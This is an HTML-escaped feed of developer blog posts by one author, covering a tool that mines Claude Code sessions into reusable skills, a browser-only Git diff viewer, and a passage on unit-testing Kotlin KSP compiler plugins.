&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;δ&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;v&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;&lt;span class="mord"&gt;+&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mopen nulldelimiter"&gt;&lt;/span&gt;&lt;span class="mfrac"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;σ&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;w&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="frac-line"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;σ&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;v&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose nulldelimiter"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;⋅&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mopen"&gt;&lt;span class="delimsizing size1"&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class="mord"&gt;1&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;+&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;δ&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;w&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;span class="mclose"&gt;&lt;span class="delimsizing size1"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Normalize for undirected graphs:&lt;/li&gt;
&lt;/ol&gt;


&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;CB(v)=CB(v)(n−1)(n−2)
C_B(v) = \frac{C_B(v)}{(n-1)(n-2)}
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;C&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;B&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;v&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mopen nulldelimiter"&gt;&lt;/span&gt;&lt;span class="mfrac"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;n&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;−&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;1&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;n&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;−&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;2&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="frac-line"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;C&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;B&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;v&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose nulldelimiter"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


&lt;p&gt;Topics in the top 10% of betweenness centrality (minimum 1) are flagged as &lt;strong&gt;bridge topics&lt;/strong&gt; — they represent knowledge that connects otherwise separate domains.&lt;/p&gt;

&lt;h2&gt;
  
  
  Skill Generation Pipeline
&lt;/h2&gt;

&lt;p&gt;Once topics are identified, crune generates Skill candidates through a three-stage pipeline.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 1: Reusability Scoring
&lt;/h3&gt;

&lt;p&gt;Each topic is scored on four to six signals depending on data availability:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Signal&lt;/th&gt;
&lt;th&gt;Weight&lt;/th&gt;
&lt;th&gt;Formula&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Frequency&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.30&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sessionCount / max(sessionCount)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Time Cost&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.20&lt;/td&gt;
&lt;td&gt;&lt;code&gt;avgDuration / max(avgDuration)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cross-Project&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.20&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(projectCount − 1) / (max(projectCount) − 1)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Recency&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.10&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1 − daysSinceLastSeen / max(daysSinceLastSeen)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Success Rate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.10&lt;/td&gt;
&lt;td&gt;Fraction of &lt;code&gt;fully_achieved&lt;/code&gt; or &lt;code&gt;mostly_achieved&lt;/code&gt; outcomes (from &lt;code&gt;/insights&lt;/code&gt; facets)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Helpfulness&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.10&lt;/td&gt;
&lt;td&gt;Normalized &lt;code&gt;claude_helpfulness&lt;/code&gt; average (essential=1.0, very_helpful=0.8, ..., unhelpful=0.0)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The last two signals are only available when &lt;code&gt;/insights&lt;/code&gt; facets data exists. Without facets, the base four signals are reweighted (0.35, 0.25, 0.25, 0.15).&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 2: Heuristic Skill Generation
&lt;/h3&gt;

&lt;p&gt;Each topic is converted into a SKILL.md skeleton following the &lt;a href="https://github.com/anthropics/skills" rel="noopener noreferrer"&gt;anthropics/skills&lt;/a&gt; format:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Name&lt;/strong&gt;: top-3 keywords + project suffix in kebab-case (≤ 40 chars)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Description&lt;/strong&gt;: Pushiness-oriented trigger description — specifying &lt;em&gt;when&lt;/em&gt; the skill should activate rather than &lt;em&gt;what&lt;/em&gt; it does&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Body&lt;/strong&gt;: Overview → When to Use (citing representative prompts) → Workflow steps → Detected tool sequence patterns → Guidelines&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Stage 3: LLM Synthesis
&lt;/h3&gt;

&lt;p&gt;The heuristic skeleton is refined via &lt;code&gt;claude -p&lt;/code&gt; with an enriched prompt containing topic metadata, representative prompts, tool signatures, enriched tool sequence patterns, and optionally graph context (centrality, connected topics by edge type).&lt;/p&gt;

&lt;p&gt;The top-N candidates by reusability score (default: 5) are pre-synthesized at build time. On-demand re-synthesis with full graph context is available through the UI.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Playback
&lt;/h2&gt;

&lt;p&gt;Beyond the knowledge graph, crune also provides session-level exploration:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl9jcth0aeko4p8zt65kr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl9jcth0aeko4p8zt65kr.png" alt="Session list"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fie1vftnfcvjw23z4o9j9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fie1vftnfcvjw23z4o9j9.png" alt="Session playback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Full session playback showing the conversation flow&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Each session gets a locally-computed summary (no LLM needed): a representative prompt selected via Jaccard centrality with position weighting, extracted keywords, work type classification (investigation / implementation / debugging / planning), and scope from the common directory prefix of edited files.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Core Value: Discovery, Not Generation
&lt;/h2&gt;

&lt;p&gt;To be honest, the auto-generated SKILL.md files aren't always production-ready. Heuristic generation tends to produce surface-level procedure listings that lack the &lt;em&gt;why&lt;/em&gt; behind each step.&lt;/p&gt;

&lt;p&gt;But that's not the point. The real value is &lt;strong&gt;Skill candidate discovery&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"You've repeated this pattern 15 times"&lt;/li&gt;
&lt;li&gt;"It averages 25 minutes per session"&lt;/li&gt;
&lt;li&gt;"It appears across 3 different projects"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are things you genuinely don't notice from day-to-day work. Patterns you've internalized as "just how I do things" become visible when projected onto a knowledge graph. The cross-project patterns are especially hard to spot — same workflow, different context, different codebase.&lt;/p&gt;

&lt;p&gt;Once you &lt;em&gt;see&lt;/em&gt; the pattern, adding your intent and judgment to turn it into a quality Skill becomes much easier than writing one from scratch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Future Direction
&lt;/h2&gt;

&lt;p&gt;The next frontier is &lt;strong&gt;multi-user session analysis&lt;/strong&gt; — analyzing sessions from team members working on the same product to discover shared tacit knowledge and team-wide workflow patterns. This obviously raises privacy concerns around sharing raw prompts, so I'm exploring approaches inspired by federated learning and secure aggregation to aggregate patterns without exposing individual session data.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting Started
&lt;/h2&gt;

&lt;p&gt;No clone required — just run via npx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx @chigichan24/crune &lt;span class="nt"&gt;--dry-run&lt;/span&gt;                    &lt;span class="c"&gt;# Preview skill candidates&lt;/span&gt;
npx @chigichan24/crune &lt;span class="nt"&gt;--skip-synthesis&lt;/span&gt;              &lt;span class="c"&gt;# Generate heuristic skills (no LLM)&lt;/span&gt;
npx @chigichan24/crune &lt;span class="nt"&gt;--count&lt;/span&gt; 3 &lt;span class="nt"&gt;--model&lt;/span&gt; haiku       &lt;span class="c"&gt;# LLM-synthesized skills (requires claude CLI)&lt;/span&gt;
npx @chigichan24/crune &lt;span class="nt"&gt;--output-dir&lt;/span&gt; ~/.claude/skills  &lt;span class="c"&gt;# Install skills directly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output follows the &lt;a href="https://docs.anthropic.com/en/docs/claude-code/skills" rel="noopener noreferrer"&gt;Claude Code skill format&lt;/a&gt; (&lt;code&gt;&amp;lt;name&amp;gt;/SKILL.md&lt;/code&gt;), ready to use as &lt;code&gt;/skill-name&lt;/code&gt; commands.&lt;/p&gt;

&lt;p&gt;The source is at &lt;a href="https://github.com/chigichan24/crune" rel="noopener noreferrer"&gt;github.com/chigichan24/crune&lt;/a&gt;. If this sounds interesting, give it a ⭐ on GitHub — it helps others discover the project. Contributions, issues, and feedback are all welcome.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>productivity</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>I built a browser-only Git diff viewer using File System Access API — no server needed</title>
      <dc:creator>Kazuki Chigita</dc:creator>
      <pubDate>Sat, 14 Mar 2026 19:07:11 +0000</pubDate>
      <link>https://dev.to/chigichan24/i-built-a-browser-only-git-diff-viewer-using-file-system-access-api-no-server-needed-282g</link>
      <guid>https://dev.to/chigichan24/i-built-a-browser-only-git-diff-viewer-using-file-system-access-api-no-server-needed-282g</guid>
      <description>&lt;p&gt;When working with AI coding agents like Claude Code or Cursor, I often find myself reviewing diffs across multiple repositories at the same time. The agent touches several projects in one session, and I need to quickly see "what changed where" without switching between terminals or setting up complex tooling.&lt;/p&gt;

&lt;p&gt;Existing tools are either single-repo, require a server, or need a local install. So I built &lt;strong&gt;Duff&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;🔗 &lt;strong&gt;Demo:&lt;/strong&gt; &lt;a href="https://chigichan24.github.io/duff/" rel="noopener noreferrer"&gt;https://chigichan24.github.io/duff/&lt;/a&gt;&lt;br&gt;
📦 &lt;strong&gt;Source:&lt;/strong&gt; &lt;a href="https://github.com/chigichan24/duff" rel="noopener noreferrer"&gt;https://github.com/chigichan24/duff&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  What is Duff?
&lt;/h2&gt;

&lt;p&gt;Duff is a Git diff viewer that runs &lt;strong&gt;entirely in your browser&lt;/strong&gt;. No server, no CLI, no extensions — just open the URL and pick your local Git repositories.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🔍 View diffs and modified files across multiple repos at once&lt;/li&gt;
&lt;li&gt;📊 Interactive commit history graph with range selection&lt;/li&gt;
&lt;li&gt;🖼️ Visual image diff with pixel-level comparison&lt;/li&gt;
&lt;li&gt;🔄 Auto-refresh to detect changes as you work&lt;/li&gt;
&lt;li&gt;💾 Workspace persists across sessions via IndexedDB&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;p&gt;The key insight is combining two browser APIs that aren't often used together:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;File System Access API&lt;/strong&gt; (&lt;code&gt;showDirectoryPicker()&lt;/code&gt;) gives the browser direct read access to your local filesystem&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;isomorphic-git&lt;/strong&gt; provides a pure JavaScript Git implementation that works in the browser&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I wrote a custom adapter that bridges the two — translating isomorphic-git's Node-style &lt;code&gt;fs&lt;/code&gt; calls into File System Access API operations.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser UI → gitService → isomorphic-git → fsaAdapter → File System Access API → your local .git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Technical hurdles I didn't expect
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. &lt;code&gt;instanceof&lt;/code&gt; doesn't work the way you'd think
&lt;/h3&gt;

&lt;p&gt;The File System Access API returns &lt;code&gt;FileSystemFileHandle&lt;/code&gt; and &lt;code&gt;FileSystemDirectoryHandle&lt;/code&gt; objects. My first instinct was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handle&lt;/span&gt; &lt;span class="k"&gt;instanceof&lt;/span&gt; &lt;span class="nx"&gt;FileSystemFileHandle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works fine in production, but completely breaks in test environments (Playwright mocks). The fix was using the &lt;code&gt;kind&lt;/code&gt; property instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;file&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Read-only operations aren't actually read-only
&lt;/h3&gt;

&lt;p&gt;I assumed showing a &lt;code&gt;git status&lt;/code&gt; would only need read access. Wrong. isomorphic-git's &lt;code&gt;statusMatrix&lt;/code&gt; writes to &lt;code&gt;.git/index&lt;/code&gt; as part of its comparison process. This meant my FS adapter needed full write support (&lt;code&gt;createWritable&lt;/code&gt;) just to display a diff.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. File System Access API is ~100x slower than native fs
&lt;/h3&gt;

&lt;p&gt;Every file read goes through the browser's security layer. For a Git repo with hundreds of files, this adds up fast. I had to implement multiple layers of caching:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ref resolution cache&lt;/strong&gt; (5s TTL) — avoid re-resolving &lt;code&gt;HEAD&lt;/code&gt; → commit hash on every operation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;isomorphic-git object cache&lt;/strong&gt; — shared across all operations to prevent re-parsing packfiles&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Adapter instance cache&lt;/strong&gt; (WeakMap per handle) — avoid recreating the fs adapter&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No-op update guards&lt;/strong&gt; — skip React re-renders when nothing actually changed&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Persistence is tricky
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;FileSystemDirectoryHandle&lt;/code&gt; objects can be stored in IndexedDB (they're structured-cloneable), so your repo selection survives page reloads. But the browser will revoke the permission — you need to call &lt;code&gt;queryPermission()&lt;/code&gt; / &lt;code&gt;requestPermission()&lt;/code&gt; again on next visit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Limitations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Chromium-only&lt;/strong&gt;: Firefox and Safari don't implement the File System Access API (and have stated they won't, citing security concerns)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Performance on large repos&lt;/strong&gt;: The FSA API overhead makes it impractical for very large repositories&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No push/pull&lt;/strong&gt;: This is a viewer, not a full Git client&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Stack
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;React 19 + Vite&lt;/li&gt;
&lt;li&gt;isomorphic-git&lt;/li&gt;
&lt;li&gt;diff2html for diff rendering&lt;/li&gt;
&lt;li&gt;pixelmatch for image diffs&lt;/li&gt;
&lt;li&gt;idb-keyval for IndexedDB persistence&lt;/li&gt;
&lt;li&gt;Hosted on GitHub Pages (zero-cost)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;👉 &lt;strong&gt;&lt;a href="https://chigichan24.github.io/duff/" rel="noopener noreferrer"&gt;https://chigichan24.github.io/duff/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Open it in Chrome/Edge/Arc, click "Add your first repository", and pick any local Git repo with uncommitted changes.&lt;/p&gt;

&lt;p&gt;If you find it useful, a ⭐ on &lt;a href="https://github.com/chigichan24/duff" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; would mean a lot!&lt;/p&gt;

&lt;p&gt;I'd love to hear your feedback — what would make this more useful for your workflow?&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>git</category>
      <category>typescript</category>
      <category>ai</category>
    </item>
    <item>
      <title>Why don't you write unit tests and integration tests to ksp project</title>
      <dc:creator>Kazuki Chigita</dc:creator>
      <pubDate>Wed, 11 Jan 2023 18:30:49 +0000</pubDate>
      <link>https://dev.to/chigichan24/why-dont-you-write-unit-tests-and-integration-tests-to-ksp-project-2oio</link>
      <guid>https://dev.to/chigichan24/why-dont-you-write-unit-tests-and-integration-tests-to-ksp-project-2oio</guid>
      <description>&lt;h1&gt;
  
  
  Background
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://github.com/google/ksp" rel="noopener noreferrer"&gt;google/ksp&lt;/a&gt; is one of the lightweight compiler plugin. We can easy to create compiler plugin with simple syntax. It's set as stable last year.&lt;/p&gt;

&lt;p&gt;For now, some libraries (room, moshi, dagger and etc...) are supporting ksp.&lt;/p&gt;

&lt;p&gt;When you create ksp project, you need to guarantee the behavior of the developing plugin. One solution is applying to demo project and confirm the actual behavior. But in the basic development in this few years, we'll prepare the test codes for the new implementation.&lt;/p&gt;

&lt;p&gt;In this article, I'll explain how to write unit test and integration test for ksp project.&lt;/p&gt;

&lt;h1&gt;
  
  
  Demo project (Spider)
&lt;/h1&gt;

&lt;p&gt;I've prepared &lt;a href="https://github.com/chigichan24/Spider" rel="noopener noreferrer"&gt;the demo project(Spider)&lt;/a&gt; for this article. The project is really simple ksp project. Spider is a &lt;a href="https://developer.android.com/develop/ui/views/graphics/agsl" rel="noopener noreferrer"&gt;AGSL&lt;/a&gt; wrapper library for compose function.We can avoid to write template AGSL loading code.&lt;/p&gt;

&lt;p&gt;Please refer this repository if you need to figure out the detail context.&lt;/p&gt;

&lt;h1&gt;
  
  
  Unit Test
&lt;/h1&gt;

&lt;p&gt;For writing unit test, there are no special difference. You can mock &amp;amp; stub the behavior, after that verify the method internal state or(and) method return value.&lt;/p&gt;

&lt;p&gt;In the demo project, I used junit and &lt;a href="https://github.com/mockito/mockito-kotlin" rel="noopener noreferrer"&gt;mockito&lt;/a&gt;. One thing we need to pre-learn do the unit test, that is ksp class diagram.&lt;/p&gt;

&lt;p&gt;Here is a part of overview of class diagram. You can check whole dependencies &lt;a href="https://kotlinlang.org/docs/images/ksp-class-diagram.svg" rel="noopener noreferrer"&gt;here&lt;/a&gt;. Basically, &lt;code&gt;KSDeclaration&lt;/code&gt; is root gateway. Each components like class declaration, function declaration, property declaration or other one extends &lt;code&gt;KSDeclaration&lt;/code&gt;. And each it has some type and specific information. Each one are defined as interface. Therefore when you test the component, you can mock each declaration simply. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuziiojf208f2xr320dm8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuziiojf208f2xr320dm8.png" alt="ksp class diagram"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's see Spider case. Spider has a feature which collect enum property names that is annotated &lt;code&gt;@AGSL_ENUM&lt;/code&gt; as class annotation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight kotlin"&gt;&lt;code&gt;&lt;span class="nd"&gt;@AGSL_ENUM&lt;/span&gt;
&lt;span class="k"&gt;enum&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AgslDefAssets&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nc"&gt;FOO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;BAR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;BAZ&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Spider will collect "FOO", "BAR" and "BAZ".&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



